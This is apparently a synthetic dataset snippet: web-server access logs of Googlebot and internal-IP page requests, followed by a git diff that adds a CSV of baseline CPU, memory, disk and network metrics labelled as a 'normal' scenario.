- - [02/Jul/2025:12:05:04 +0000] "GET /main.js HTTP/1.1" 200 2682 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:05:04 +0000] "GET /main.js HTTP/1.1" 200 4191 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:04 +0000] "GET /styles.css HTTP/1.1" 200 2670 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:04 +0000] "GET /products/1 HTTP/1.1" 200 3706 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:04 +0000] "GET /contact.html HTTP/1.1" 200 3917 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:04 +0000] "GET /contact.html HTTP/1.1" 200 3993 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:05:04 +0000] "GET /about.html HTTP/1.1" 200 3071 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:05:04 +0000] "GET /main.js HTTP/1.1" 200 1767 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:04 +0000] "GET /products/1 HTTP/1.1" 200 4008 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:05:04 +0000] "GET /about.html HTTP/1.1" 200 3659 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:05:04 +0000] "GET /main.js HTTP/1.1" 200 1624 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:05:04 +0000] "GET /styles.css HTTP/1.1" 200 2941 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:05:04 +0000] "GET /products/2 HTTP/1.1" 200 3336 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:05:04 +0000] "GET /contact.html HTTP/1.1" 200 4648 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:05:04 +0000] "GET /products/1 HTTP/1.1" 200 1776 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:05:04 +0000] "GET /main.js HTTP/1.1" 200 1656 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:05:04 +0000] "GET /main.js HTTP/1.1" 200 3632 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:04 +0000] "GET /contact.html HTTP/1.1" 200 4787 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:05:04 +0000] "GET /contact.html HTTP/1.1" 200 2310 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:05:04 +0000] "GET /styles.css HTTP/1.1" 200 4344 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:05:04 +0000] "GET /main.js HTTP/1.1" 200 3725 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:04 +0000] "GET /main.js HTTP/1.1" 200 2522 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:05:04 +0000] "GET /about.html HTTP/1.1" 200 3225 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:04 +0000] "GET /products/2 HTTP/1.1" 200 3701 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:04 +0000] "GET /about.html HTTP/1.1" 200 2959 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 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12:05:04 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:05:04 +0000] "GET /products/2 HTTP/1.1" 200 3224 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:05:04 +0000] "GET /products/1 HTTP/1.1" 200 4358 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:05:04 +0000] "GET /index.html HTTP/1.1" 200 4454 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:05:04 +0000] "GET /products/1 HTTP/1.1" 200 1459 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:05:04 +0000] "GET /contact.html HTTP/1.1" 200 2226 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:04 +0000] "GET /products/1 HTTP/1.1" 200 1732 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:05:04 +0000] "GET /index.html HTTP/1.1" 200 3408 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:05:04 +0000] "GET /about.html HTTP/1.1" 200 3272 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:05:04 +0000] "GET /main.js HTTP/1.1" 200 4987 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:04 +0000] "GET /index.html HTTP/1.1" 200 1331 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:05:04 +0000] "GET /products/2 HTTP/1.1" 200 2943 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:04 +0000] "GET /styles.css HTTP/1.1" 200 4734 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:05:04 +0000] "GET /products/1 HTTP/1.1" 200 4077 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:05:04 +0000] "GET /styles.css HTTP/1.1" 200 1417 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:04 +0000] "GET /products/1 HTTP/1.1" 200 1156 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:04 +0000] "GET /about.html HTTP/1.1" 200 3335 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:04 +0000] "GET /styles.css HTTP/1.1" 200 2332 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:05:04 +0000] "GET /contact.html HTTP/1.1" 200 2718 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" 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1705 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:05 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:05 +0000] "GET /contact.html HTTP/1.1" 200 4737 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:05 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:05:05 +0000] "GET /products/1 HTTP/1.1" 200 2950 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:05 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:05 +0000] "GET /about.html HTTP/1.1" 200 2246 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:05 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:05:05 +0000] "GET /main.js HTTP/1.1" 200 3960 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:05 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:05:05 +0000] "GET /main.js HTTP/1.1" 200 2366 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:05 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:05:05 +0000] "GET /about.html HTTP/1.1" 200 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2752 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:08 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:05:08 +0000] "GET /styles.css HTTP/1.1" 200 1843 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:08 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:05:08 +0000] "GET /about.html HTTP/1.1" 200 3100 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:08 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:08 +0000] "GET /products/1 HTTP/1.1" 200 4504 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:08 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:05:08 +0000] "GET /products/2 HTTP/1.1" 200 4598 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:08 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:05:08 +0000] "GET /contact.html HTTP/1.1" 200 1665 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:08 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:08 +0000] "GET /products/1 HTTP/1.1" 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02 12:05:11 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:05:11 +0000] "GET /index.html HTTP/1.1" 200 4530 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:11 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:05:11 +0000] "GET /index.html HTTP/1.1" 200 2146 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:11 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:11 +0000] "GET /main.js HTTP/1.1" 200 4508 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:11 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:05:11 +0000] "GET /products/2 HTTP/1.1" 200 4005 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:11 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:05:11 +0000] "GET /about.html HTTP/1.1" 200 1840 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:11 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:05:11 +0000] "GET /index.html HTTP/1.1" 200 4709 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:12 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:12 +0000] "GET /contact.html HTTP/1.1" 200 3303 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:12 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:12 +0000] "GET /products/1 HTTP/1.1" 200 1583 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:12 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:05:12 +0000] "GET /products/2 HTTP/1.1" 200 4417 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:12 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:05:12 +0000] "GET /products/1 HTTP/1.1" 200 4651 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:12 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:05:12 +0000] "GET /products/2 HTTP/1.1" 200 2077 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:12 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:05:12 +0000] "GET /index.html HTTP/1.1" 200 1886 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" 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02 12:05:14 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:05:14 +0000] "GET /contact.html HTTP/1.1" 200 1316 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:14 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:05:14 +0000] "GET /styles.css HTTP/1.1" 200 1312 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:14 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:14 +0000] "GET /main.js HTTP/1.1" 200 2505 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:14 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:05:14 +0000] "GET /products/2 HTTP/1.1" 200 4597 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:14 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:05:14 +0000] "GET /styles.css HTTP/1.1" 200 1050 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:14 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:05:14 +0000] "GET /styles.css HTTP/1.1" 200 2128 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:14 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:05:14 +0000] "GET /styles.css HTTP/1.1" 200 1103 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:14 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:05:14 +0000] "GET /about.html HTTP/1.1" 200 2111 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:14 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:14 +0000] "GET /about.html HTTP/1.1" 200 1811 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:14 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:05:14 +0000] "GET /products/2 HTTP/1.1" 200 3543 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:14 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:14 +0000] "GET /about.html HTTP/1.1" 200 1746 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:14 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:05:14 +0000] "GET /products/1 HTTP/1.1" 200 2081 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" 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[02/Jul/2025:12:05:36 +0000] "GET /contact.html HTTP/1.1" 200 1322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:05:36 web-app[2345]: 192.168.1.101 - - [02/Jul/2025:12:05:36 +0000] "GET /index.html HTTP/1.1" 304 684 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:05:41 web-app[2345]: 172.16.31.200 - - [02/Jul/2025:12:05:41 +0000] "GET /about.html HTTP/1.1" 200 1252 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:05:41 web-app[2345]: 192.168.1.101 - - [02/Jul/2025:12:05:41 +0000] "GET /index.html HTTP/1.1" 404 1951 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:05:46 web-app[2345]: 10.0.0.54 - - [02/Jul/2025:12:05:46 +0000] "GET /products/2 HTTP/1.1" 200 1579 "-" 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(KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:05:54 web-app[2345]: 172.16.31.200 - - [02/Jul/2025:12:05:54 +0000] "GET /contact.html HTTP/1.1" 200 1479 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:05:59 web-app[2345]: 172.16.31.200 - - [02/Jul/2025:12:05:59 +0000] "GET /main.js HTTP/1.1" 404 1292 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:06:02 web-app[2345]: 172.16.31.200 - - [02/Jul/2025:12:06:02 +0000] "GET /products/2 HTTP/1.1" 304 827 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:06:02 web-app[2345]: 192.168.1.101 - - [02/Jul/2025:12:06:02 +0000] "GET /index.html HTTP/1.1" 304 1632 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:06:09 web-app[2345]: 172.16.31.200 - - [02/Jul/2025:12:06:09 +0000] "GET /products/2 HTTP/1.1" 200 890 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:06:09 web-app[2345]: 10.0.0.54 - - [02/Jul/2025:12:06:09 +0000] "GET /index.html HTTP/1.1" 404 1622 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:06:16 web-app[2345]: 10.0.0.54 - - [02/Jul/2025:12:06:16 +0000] "GET /products/2 HTTP/1.1" 200 1487 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:06:16 web-app[2345]: 172.16.31.200 - - [02/Jul/2025:12:06:16 +0000] "GET /products/2 HTTP/1.1" 200 1738 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:06:16 web-app[2345]: 10.0.0.54 - - [02/Jul/2025:12:06:16 +0000] "GET /contact.html HTTP/1.1" 404 1125 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:06:16 web-app[2345]: 192.168.1.101 - - [02/Jul/2025:12:06:16 +0000] "GET /contact.html HTTP/1.1" 304 1426 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:06:23 web-app[2345]: 172.16.31.200 - - [02/Jul/2025:12:06:23 +0000] "GET /about.html HTTP/1.1" 404 1149 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:06:23 web-app[2345]: 192.168.1.101 - - [02/Jul/2025:12:06:23 +0000] "GET /products/1 HTTP/1.1" 200 861 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:06:23 web-app[2345]: 192.168.1.101 - - [02/Jul/2025:12:06:23 +0000] "GET /products/2 HTTP/1.1" 404 578 "-" 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[02/Jul/2025:12:07:03 +0000] "GET /products/1 HTTP/1.1" 304 1832 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:07:03 web-app[2345]: 10.0.0.54 - - [02/Jul/2025:12:07:03 +0000] "GET /about.html HTTP/1.1" 200 1074 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:07:09 web-app[2345]: 172.16.31.200 - - [02/Jul/2025:12:07:09 +0000] "GET /main.js HTTP/1.1" 200 899 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:07:09 web-app[2345]: 172.16.31.200 - - [02/Jul/2025:12:07:09 +0000] "GET /products/1 HTTP/1.1" 200 1102 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:07:09 web-app[2345]: 192.168.1.101 - - [02/Jul/2025:12:07:09 +0000] "GET /styles.css HTTP/1.1" 200 715 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:07:15 web-app[2345]: 10.0.0.54 - - [02/Jul/2025:12:07:15 +0000] "GET /main.js HTTP/1.1" 200 1772 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:07:15 web-app[2345]: 10.0.0.54 - - [02/Jul/2025:12:07:15 +0000] "GET /styles.css HTTP/1.1" 404 866 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:07:20 web-app[2345]: 192.168.1.101 - - [02/Jul/2025:12:07:20 +0000] "GET /products/1 HTTP/1.1" 404 1242 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:07:20 web-app[2345]: 192.168.1.101 - - [02/Jul/2025:12:07:20 +0000] "GET /main.js HTTP/1.1" 200 1315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:07:20 web-app[2345]: 172.16.31.200 - - [02/Jul/2025:12:07:20 +0000] "GET /main.js HTTP/1.1" 304 1101 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:07:26 web-app[2345]: 172.16.31.200 - - [02/Jul/2025:12:07:26 +0000] "GET /main.js HTTP/1.1" 404 1581 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:07:26 web-app[2345]: 172.16.31.200 - - [02/Jul/2025:12:07:26 +0000] "GET /about.html HTTP/1.1" 404 535 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:07:26 web-app[2345]: 172.16.31.200 - - [02/Jul/2025:12:07:26 +0000] "GET /products/1 HTTP/1.1" 200 875 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:07:26 web-app[2345]: 192.168.1.101 - - [02/Jul/2025:12:07:26 +0000] "GET /contact.html HTTP/1.1" 304 1215 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" diff --git a/norm_dataset/scenario_9/norm_9_1.csv b/norm_dataset/scenario_9/norm_9_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..08fd5511e8f7b4829b02f8fb353702c2c5f27dd3 --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_1.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T10:00:00Z,16.24,40.19,33.13,1.29,1.0 +2025-07-15T10:00:05Z,14.65,41.94,25.71,0.71,1.21 +2025-07-15T10:00:10Z,16.62,38.6,24.65,1.23,0.88 +2025-07-15T10:00:15Z,18.81,39.34,32.41,1.0,0.98 +2025-07-15T10:00:20Z,14.41,39.22,28.88,0.8,1.04 +2025-07-15T10:00:25Z,14.41,37.07,33.57,1.09,0.82 +2025-07-15T10:00:30Z,18.95,40.59,32.37,1.04,0.94 +2025-07-15T10:00:35Z,16.92,40.52,29.64,0.88,0.9 +2025-07-15T10:00:40Z,13.83,40.01,25.77,1.01,0.92 +2025-07-15T10:00:45Z,16.36,39.53,22.43,0.92,0.75 +2025-07-15T10:00:50Z,13.84,37.17,27.77,1.02,0.9 +2025-07-15T10:00:55Z,13.84,39.16,34.28,1.13,1.0 +2025-07-15T10:01:00Z,15.6,39.31,31.07,1.32,1.19 +2025-07-15T10:01:05Z,10.22,38.4,23.77,0.75,1.09 +2025-07-15T10:01:10Z,10.69,39.68,30.87,1.43,1.33 +2025-07-15T10:01:15Z,13.59,40.81,31.93,0.61,0.75 +2025-07-15T10:01:20Z,12.47,43.77,25.58,0.97,1.07 +2025-07-15T10:01:25Z,15.79,40.35,30.77,1.12,0.94 +2025-07-15T10:01:30Z,12.73,40.52,30.29,1.06,1.34 +2025-07-15T10:01:35Z,11.47,39.85,24.29,0.88,0.74 +2025-07-15T10:01:40Z,18.66,36.16,31.79,0.96,0.73 +2025-07-15T10:01:45Z,14.44,39.95,32.8,0.9,0.78 +2025-07-15T10:01:50Z,15.17,40.12,35.42,0.88,0.48 +2025-07-15T10:01:55Z,11.44,44.93,35.27,1.17,0.79 +2025-07-15T10:02:00Z,13.64,39.62,23.11,1.07,0.75 +2025-07-15T10:02:05Z,15.28,40.6,25.31,0.86,0.93 +2025-07-15T10:02:10Z,12.12,39.93,32.58,1.18,0.97 +2025-07-15T10:02:15Z,15.94,37.66,32.57,1.06,1.28 +2025-07-15T10:02:20Z,13.5,42.29,32.58,1.16,1.09 +2025-07-15T10:02:25Z,14.27,41.5,45.0,1.13,0.78 +2025-07-15T10:02:30Z,13.5,41.58,32.85,0.83,0.72 +2025-07-15T10:02:35Z,19.63,38.18,35.68,0.89,1.0 +2025-07-15T10:02:40Z,14.97,42.81,34.77,1.15,0.64 +2025-07-15T10:02:45Z,12.36,37.2,33.26,1.12,1.27 +2025-07-15T10:02:50Z,17.06,41.17,28.42,1.0,1.14 +2025-07-15T10:02:55Z,11.95,44.38,33.79,1.02,0.81 +2025-07-15T10:03:00Z,15.52,38.02,26.14,1.26,0.56 +2025-07-15T10:03:05Z,10.1,38.87,28.82,0.88,1.17 +2025-07-15T10:03:10Z,11.68,40.2,27.57,1.11,0.88 +2025-07-15T10:03:15Z,15.49,38.99,30.41,0.96,1.15 +2025-07-15T10:03:20Z,16.85,36.9,41.57,0.96,0.58 +2025-07-15T10:03:25Z,15.43,40.14,20.66,1.22,0.78 +2025-07-15T10:03:30Z,14.71,37.88,33.43,1.17,0.9 +2025-07-15T10:03:35Z,14.25,40.95,21.94,1.16,0.91 +2025-07-15T10:03:40Z,11.3,38.16,27.64,1.26,0.81 +2025-07-15T10:03:45Z,13.2,43.1,35.44,1.0,1.02 +2025-07-15T10:03:50Z,13.85,38.43,30.32,1.14,0.69 +2025-07-15T10:03:55Z,17.64,39.36,24.61,0.94,0.87 +2025-07-15T10:04:00Z,15.86,41.63,26.42,1.06,0.92 +2025-07-15T10:04:05Z,10.59,37.54,33.4,0.97,1.0 +2025-07-15T10:04:10Z,15.81,40.45,26.35,1.02,1.04 +2025-07-15T10:04:15Z,14.04,42.61,31.08,1.12,0.68 